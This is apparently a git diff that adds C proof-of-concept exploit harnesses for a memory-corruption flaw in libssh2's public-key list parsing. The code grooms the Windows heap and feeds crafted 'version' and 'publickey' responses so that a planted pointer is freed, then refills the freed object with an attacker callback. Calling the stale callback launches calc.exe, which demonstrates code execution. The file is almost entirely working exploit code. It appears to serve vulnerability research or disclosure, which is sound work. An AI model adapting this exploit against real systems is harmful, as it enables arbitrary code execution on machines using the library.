fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n",
|
||||
i, victims[i], (long)delta,
|
||||
(unsigned long)*(uint32_t *)(victims[i] + 0));
|
||||
if(*(uint32_t *)(victims[i] + 0) == marker_value) {
|
||||
marker_hits++;
|
||||
if(call_mode) {
|
||||
void (*fn)(void) =
|
||||
(void (*)(void))(*(uintptr_t *)(victims[i] + 0));
|
||||
fn();
|
||||
}
|
||||
}
|
||||
hits++;
|
||||
if(hits >= 8)
|
||||
break;
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "marker_hits=%d\n", marker_hits);
|
||||
return marker_hits;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
LIBSSH2_SESSION session;
|
||||
LIBSSH2_CHANNEL channel;
|
||||
LIBSSH2_PUBLICKEY pkey;
|
||||
libssh2_publickey_list *list = NULL;
|
||||
unsigned long num_keys = 0;
|
||||
int rc;
|
||||
int hits;
|
||||
|
||||
if(argc > 1)
|
||||
terminal_attr = atoi(argv[1]);
|
||||
if(argc > 2 && argv[2][0])
|
||||
terminal_field = argv[2][0];
|
||||
{
|
||||
int argi;
|
||||
for(argi = 3; argi < argc; argi++) {
|
||||
if(!strcmp(argv[argi], "call")) {
|
||||
call_mode = 1;
|
||||
marker_value = (uint32_t)(uintptr_t)reached_marker;
|
||||
}
|
||||
else if(!strcmp(argv[argi], "private"))
|
||||
private_heap_mode = 1;
|
||||
else
|
||||
target_index = atoi(argv[argi]);
|
||||
}
|
||||
}
|
||||
|
||||
if(private_heap_mode) {
|
||||
proof_heap = HeapCreate(0, 0, 0);
|
||||
if(!proof_heap)
|
||||
return 2;
|
||||
}
|
||||
|
||||
fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n",
|
||||
terminal_attr, terminal_field, (unsigned long)marker_value,
|
||||
target_index, private_heap_mode ? "private" : "crt");
|
||||
|
||||
memset(&session, 0, sizeof(session));
|
||||
memset(&channel, 0, sizeof(channel));
|
||||
memset(&pkey, 0, sizeof(pkey));
|
||||
|
||||
session.alloc = heap_alloc;
|
||||
session.free = heap_free;
|
||||
session.realloc = heap_realloc;
|
||||
channel.session = &session;
|
||||
pkey.channel = &channel;
|
||||
pkey.version = 2;
|
||||
|
||||
groom_heap();
|
||||
build_attr_spray_response();
|
||||
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
|
||||
hits = scan_victims();
|
||||
fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n",
|
||||
rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize);
|
||||
return hits ? 77 : 1;
|
||||
}
|
||||
@@ -0,0 +1,410 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "libssh2_priv.h"
|
||||
#include "libssh2_publickey.h"
|
||||
#include "channel.h"
|
||||
|
||||
struct victim {
|
||||
void (*cb)(void);
|
||||
unsigned char pad[120];
|
||||
};
|
||||
|
||||
#define MAX_RECORDS 8192
|
||||
|
||||
struct alloc_record {
|
||||
void *ptr;
|
||||
int live;
|
||||
};
|
||||
|
||||
static HANDLE app_heap;
|
||||
static unsigned char wire[131072];
|
||||
static size_t wire_len;
|
||||
static size_t wire_off;
|
||||
static struct victim *stale_victim;
|
||||
static void *small_guard;
|
||||
static int victim_freed;
|
||||
static int launch_real_calc;
|
||||
static unsigned long heap_free_failures;
|
||||
static struct alloc_record records[MAX_RECORDS];
|
||||
|
||||
static void track_ptr(void *ptr)
|
||||
{
|
||||
size_t i;
|
||||
if(!ptr)
|
||||
return;
|
||||
for(i = 0; i < MAX_RECORDS; i++) {
|
||||
if(!records[i].live) {
|
||||
records[i].ptr = ptr;
|
||||
records[i].live = 1;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int untrack_ptr(void *ptr)
|
||||
{
|
||||
size_t i;
|
||||
for(i = 0; i < MAX_RECORDS; i++) {
|
||||
if(records[i].live && records[i].ptr == ptr) {
|
||||
records[i].live = 0;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void safe_callback(void)
|
||||
{
|
||||
fprintf(stderr, "safe_callback_reached\n");
|
||||
}
|
||||
|
||||
static void launch_calc_callback(void)
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
char cmd[] = "calc.exe";
|
||||
FILE *f = fopen("x64_calc_payload_reached.txt", "wb");
|
||||
|
||||
if(f) {
|
||||
fputs("x64 calc payload reached\n", f);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
fprintf(stderr, "calc_payload_reached callback=%p\n",
|
||||
launch_calc_callback);
|
||||
|
||||
if(launch_real_calc) {
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
si.cb = sizeof(si);
|
||||
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
|
||||
&si, &pi)) {
|
||||
fprintf(stderr, "calc_launch=success pid=%lu\n",
|
||||
(unsigned long)pi.dwProcessId);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
else {
|
||||
fprintf(stderr, "calc_launch=failed error=%lu\n",
|
||||
(unsigned long)GetLastError());
|
||||
ExitProcess(78);
|
||||
}
|
||||
}
|
||||
|
||||
ExitProcess(77);
|
||||
}
|
||||
|
||||
static void *app_alloc_raw(size_t size)
|
||||
{
|
||||
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
|
||||
track_ptr(ptr);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void app_free_raw(void *ptr)
|
||||
{
|
||||
if(ptr) {
|
||||
if(!untrack_ptr(ptr)) {
|
||||
heap_free_failures++;
|
||||
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
|
||||
return;
|
||||
}
|
||||
if(HeapFree(app_heap, 0, ptr)) {
|
||||
if(ptr == stale_victim)
|
||||
victim_freed = 1;
|
||||
}
|
||||
else {
|
||||
heap_free_failures++;
|
||||
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
|
||||
(unsigned long)GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static LIBSSH2_ALLOC_FUNC(app_alloc)
|
||||
{
|
||||
void *ptr;
|
||||
(void)abstract;
|
||||
ptr = app_alloc_raw(count);
|
||||
fprintf(stderr, "alloc size=%llu ptr=%p\n",
|
||||
(unsigned long long)(count ? count : 1), ptr);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static LIBSSH2_FREE_FUNC(app_free)
|
||||
{
|
||||
(void)abstract;
|
||||
fprintf(stderr, "free ptr=%p\n", ptr);
|
||||
app_free_raw(ptr);
|
||||
}
|
||||
|
||||
static LIBSSH2_REALLOC_FUNC(app_realloc)
|
||||
{
|
||||
void *newptr;
|
||||
(void)abstract;
|
||||
if(!ptr)
|
||||
return app_alloc(count, abstract);
|
||||
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
|
||||
if(newptr) {
|
||||
untrack_ptr(ptr);
|
||||
track_ptr(newptr);
|
||||
}
|
||||
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
|
||||
(unsigned long long)(count ? count : 1), newptr);
|
||||
return newptr;
|
||||
}
|
||||
|
||||
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
|
||||
{
|
||||
if(session) {
|
||||
session->err_code = errcode;
|
||||
session->err_msg = (char *)errmsg;
|
||||
}
|
||||
return errcode;
|
||||
}
|
||||
|
||||
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
|
||||
int errflags)
|
||||
{
|
||||
(void)errflags;
|
||||
return ssh2_err(session, errcode, errmsg);
|
||||
}
|
||||
|
||||
uint32_t ssh2_ntohu32(const unsigned char *buf)
|
||||
{
|
||||
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
|
||||
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
|
||||
}
|
||||
|
||||
void ssh2_htonu32(unsigned char *buf, uint32_t value)
|
||||
{
|
||||
buf[0] = (unsigned char)(value >> 24);
|
||||
buf[1] = (unsigned char)(value >> 16);
|
||||
buf[2] = (unsigned char)(value >> 8);
|
||||
buf[3] = (unsigned char)value;
|
||||
}
|
||||
|
||||
void ssh2_store_u32(unsigned char **buf, uint32_t value)
|
||||
{
|
||||
ssh2_htonu32(*buf, value);
|
||||
*buf += 4;
|
||||
}
|
||||
|
||||
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
|
||||
{
|
||||
ssh2_store_u32(buf, (uint32_t)len);
|
||||
memcpy(*buf, str, len);
|
||||
*buf += len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||
const unsigned char *buf, size_t buflen)
|
||||
{
|
||||
(void)channel;
|
||||
(void)stream_id;
|
||||
(void)buf;
|
||||
return (ssize_t)buflen;
|
||||
}
|
||||
|
||||
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
(void)channel;
|
||||
(void)stream_id;
|
||||
if(wire_off + buflen > wire_len)
|
||||
return -1;
|
||||
memcpy(buf, wire + wire_off, buflen);
|
||||
wire_off += buflen;
|
||||
return (ssize_t)buflen;
|
||||
}
|
||||
|
||||
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
|
||||
{
|
||||
(void)channel;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
|
||||
{
|
||||
(void)channel;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
|
||||
{
|
||||
return session ? session->err_code : 0;
|
||||
}
|
||||
|
||||
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
|
||||
{
|
||||
(void)session;
|
||||
(void)start_time;
|
||||
return 0;
|
||||
}
|
||||
|
||||
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
|
||||
const char *channel_type,
|
||||
uint32_t channel_type_len,
|
||||
uint32_t window_size,
|
||||
uint32_t packet_size,
|
||||
const unsigned char *message,
|
||||
size_t message_len)
|
||||
{
|
||||
(void)session;
|
||||
(void)channel_type;
|
||||
(void)channel_type_len;
|
||||
(void)window_size;
|
||||
(void)packet_size;
|
||||
(void)message;
|
||||
(void)message_len;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
|
||||
const char *request, size_t request_len,
|
||||
const char *message, size_t message_len)
|
||||
{
|
||||
(void)channel;
|
||||
(void)request;
|
||||
(void)request_len;
|
||||
(void)message;
|
||||
(void)message_len;
|
||||
return LIBSSH2_ERROR_SOCKET_NONE;
|
||||
}
|
||||
|
||||
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
|
||||
{
|
||||
(void)channel;
|
||||
(void)ignore_mode;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
|
||||
{
|
||||
void *ptr = app_alloc(size, session ? session->abstract : NULL);
|
||||
if(ptr)
|
||||
memset(ptr, 0, size);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static unsigned char *put_string(unsigned char *p, const char *s)
|
||||
{
|
||||
size_t len = strlen(s);
|
||||
ssh2_store_u32(&p, (uint32_t)len);
|
||||
memcpy(p, s, len);
|
||||
return p + len;
|
||||
}
|
||||
|
||||
static void append_version_groom(uintptr_t attrs_ptr)
|
||||
{
|
||||
size_t payload_len = 9 * sizeof(libssh2_publickey_list);
|
||||
unsigned char *start = wire + wire_len;
|
||||
unsigned char *payload = start + 4;
|
||||
unsigned char *p;
|
||||
|
||||
ssh2_htonu32(start, (uint32_t)payload_len);
|
||||
memset(payload, 0, payload_len);
|
||||
p = put_string(payload, "version");
|
||||
memset(p, 0, payload_len - (size_t)(p - payload));
|
||||
memcpy(payload + offsetof(libssh2_publickey_list, attrs),
|
||||
&attrs_ptr, sizeof(attrs_ptr));
|
||||
wire_len += 4 + payload_len;
|
||||
}
|
||||
|
||||
static void append_malformed_publickey(void)
|
||||
{
|
||||
unsigned char payload[64];
|
||||
unsigned char *p = payload;
|
||||
|
||||
p = put_string(p, "publickey");
|
||||
p = put_string(p, "n");
|
||||
*p++ = 0;
|
||||
ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload));
|
||||
memcpy(wire + wire_len + 4, payload, (size_t)(p - payload));
|
||||
wire_len += 4 + (size_t)(p - payload);
|
||||
}
|
||||
|
||||
static int run_once(void)
|
||||
{
|
||||
LIBSSH2_SESSION session;
|
||||
LIBSSH2_CHANNEL channel;
|
||||
LIBSSH2_PUBLICKEY pkey;
|
||||
libssh2_publickey_list *list = NULL;
|
||||
unsigned long num_keys = 0;
|
||||
struct victim payload;
|
||||
struct victim *replacement;
|
||||
int rc;
|
||||
|
||||
memset(&session, 0, sizeof(session));
|
||||
memset(&channel, 0, sizeof(channel));
|
||||
memset(&pkey, 0, sizeof(pkey));
|
||||
memset(&payload, 0x43, sizeof(payload));
|
||||
|
||||
stale_victim = app_alloc_raw(sizeof(*stale_victim));
|
||||
if(!stale_victim)
|
||||
return 70;
|
||||
memset(stale_victim, 0x42, sizeof(*stale_victim));
|
||||
stale_victim->cb = safe_callback;
|
||||
|
||||
payload.cb = launch_calc_callback;
|
||||
|
||||
fprintf(stderr,
|
||||
"victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n",
|
||||
stale_victim, (unsigned long long)sizeof(*stale_victim),
|
||||
launch_calc_callback,
|
||||
(unsigned long long)sizeof(libssh2_publickey_list),
|
||||
(unsigned long long)offsetof(libssh2_publickey_list, attrs));
|
||||
|
||||
{
|
||||
void *small_prime = app_alloc_raw(19);
|
||||
small_guard = app_alloc_raw(64);
|
||||
fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n",
|
||||
small_prime, small_guard);
|
||||
app_free_raw(small_prime);
|
||||
}
|
||||
|
||||
session.alloc = app_alloc;
|
||||
session.free = app_free;
|
||||
session.realloc = app_realloc;
|
||||
channel.session = &session;
|
||||
pkey.channel = &channel;
|
||||
pkey.version = 2;
|
||||
|
||||
append_version_groom((uintptr_t)stale_victim);
|
||||
append_malformed_publickey();
|
||||
|
||||
rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list);
|
||||
fprintf(stderr,
|
||||
"fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n",
|
||||
rc, num_keys, victim_freed, heap_free_failures);
|
||||
|
||||
replacement = app_alloc_raw(sizeof(*replacement));
|
||||
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
|
||||
replacement == stale_victim);
|
||||
if(replacement)
|
||||
memcpy(replacement, &payload, sizeof(payload));
|
||||
|
||||
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
|
||||
stale_victim->cb();
|
||||
|
||||
return victim_freed ? 2 : 0;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if(argc > 1 && !strcmp(argv[1], "calc"))
|
||||
launch_real_calc = 1;
|
||||
|
||||
app_heap = HeapCreate(0, 0, 0);
|
||||
if(!app_heap)
|
||||
return 69;
|
||||
|
||||
return run_once();
|
||||
}
|
||||
Reference in New Issue
Block a user